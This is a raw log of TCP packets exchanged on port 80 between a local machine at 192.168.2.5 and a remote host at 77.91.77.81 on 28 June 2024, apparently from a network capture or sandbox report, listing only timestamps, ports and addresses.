Jun 28, 2024 13:36:25.413304090 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.413319111 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.413347960 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.413366079 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.413381100 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.413393021 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.413394928 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.413408995 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.413436890 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.413573980 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.414444923 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.414508104 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.414522886 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.414542913 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.414545059 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.414558887 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.414561987 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.414561987 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.414573908 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.414585114 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.414597034 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.414611101 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.414628983 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.414628983 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.414630890 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.414655924 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.414717913 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.414731979 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.414746046 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.414762020 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.414767981 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.414788961 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.414850950 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.414854050 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.414869070 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.414882898 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.414896965 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.414910078 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.414911032 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.414926052 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.414927959 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.414940119 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.414954901 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.414958954 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.414958954 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.414990902 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.414990902 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.415003061 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.415024042 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.415045977 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.415060043 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.415075064 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.415088892 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.415112019 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.415112019 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.415189028 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.439073086 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.439138889 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.439153910 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.439198971 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.439197063 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.439197063 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.439197063 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.439213037 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.439228058 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.439230919 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.439244032 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.439265966 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.439265966 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.439351082 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.439366102 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.439387083 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.439387083 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.439400911 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.439415932 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.439419985 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.439429998 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.439444065 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.439450026 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.439450026 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.439486980 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.439486980 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.488586903 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.488715887 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.488722086 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.488729954 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.488753080 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.488768101 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.488785028 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.488785028 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.488789082 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.488809109 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.488809109 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.488811970 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.488826990 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.488847017 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.488862038 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.488873959 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.488877058 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.488892078 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.488905907 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.488908052 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.488922119 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.488926888 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.488926888 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.488936901 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.488960981 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.488969088 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.488991022 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.489006996 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.489022017 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.489032984 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.489032984 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.489043951 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.489059925 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.489061117 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.489073038 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.489074945 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.489088058 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.489089966 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.489105940 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.489121914 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.489145994 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.489145994 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.489214897 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.489228964 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.489243031 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.489257097 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.489272118 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.489286900 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.489301920 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.489315987 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.489331961 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.489346027 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.489361048 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.489429951 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.489444971 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.489459038 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.489471912 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.489473104 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.489487886 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.489491940 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.489491940 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.489500999 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.489521980 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.489567041 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.489578009 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.489593029 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.489607096 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.489620924 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.489644051 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.489658117 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.489662886 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.489662886 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.489674091 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.489687920 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.489691019 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.489703894 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.489720106 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.489753962 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.489753962 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.489794016 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.489808083 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.489830017 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.489841938 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.489856005 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.489864111 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.489870071 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.489883900 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.489891052 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.489901066 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.489942074 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.489953995 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.499700069 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.499758005 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.499772072 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.499794006 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.499794960 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.499794960 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.499808073 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.499823093 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.499825954 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.499836922 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.499849081 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.499861956 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.499943972 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.499958038 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.499973059 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.499980927 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.499985933 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.499995947 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.500000954 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.500015974 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.500027895 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.500030041 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.500088930 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.500132084 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.500673056 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.500695944 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.500709057 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.500752926 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.500766993 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.500782013 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.500787020 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.500796080 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.500812054 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.500835896 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.500835896 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.500899076 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.500912905 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.500912905 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.500927925 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.500941992 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.500957012 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.500979900 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.500979900 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.500979900 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.500993967 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.500999928 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.501008034 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.501022100 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.501022100 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.501039982 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.501041889 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.501041889 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.501054049 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.501068115 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.501082897 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.501090050 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.501090050 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.501142979 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.501178026 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.501205921 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.501219988 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.501234055 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.501245975 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.501259089 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.501265049 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.501272917 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.501285076 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.501286983 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.501302004 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.501302958 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.501316071 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.501322031 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.501322031 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.501332045 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.501334906 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.501355886 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.501485109 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.525579929 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.525621891 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.525648117 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.525664091 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.525679111 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.525695086 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.525710106 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.525726080 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.525755882 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.525787115 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.525787115 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.525803089 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.525827885 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.525842905 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.525857925 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.525868893 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.525871992 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.525887012 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.525902987 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.530901909 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.576818943 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.576842070 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.576858997 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.576946020 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.576961040 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.576976061 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.576982975 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.576992035 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.577007055 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.577016115 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.577016115 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.577048063 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.577048063 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.577157974 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.577183962 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.577198982 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.577318907 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.577347994 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.577359915 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.577363014 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.577378988 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.577394009 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.577402115 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.577408075 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.577421904 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.577441931 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.577441931 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.577446938 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.577461958 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.577475071 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.577483892 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.577483892 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.577491045 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.577501059 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.577507019 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.577519894 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.577532053 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.577548027 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.577549934 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.577562094 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.577575922 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.577584028 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.577584028 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.577584028 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.577589989 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.577604055 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.577605009 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.577614069 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.577620983 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.577631950 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.577652931 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.577702045 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.577718019 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.577732086 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.577743053 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.577748060 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.577758074 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.577769041 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.577784061 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.577792883 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.577792883 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.577799082 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.577821970 CEST	49721	80	192.168.2.5	77.91.77.81
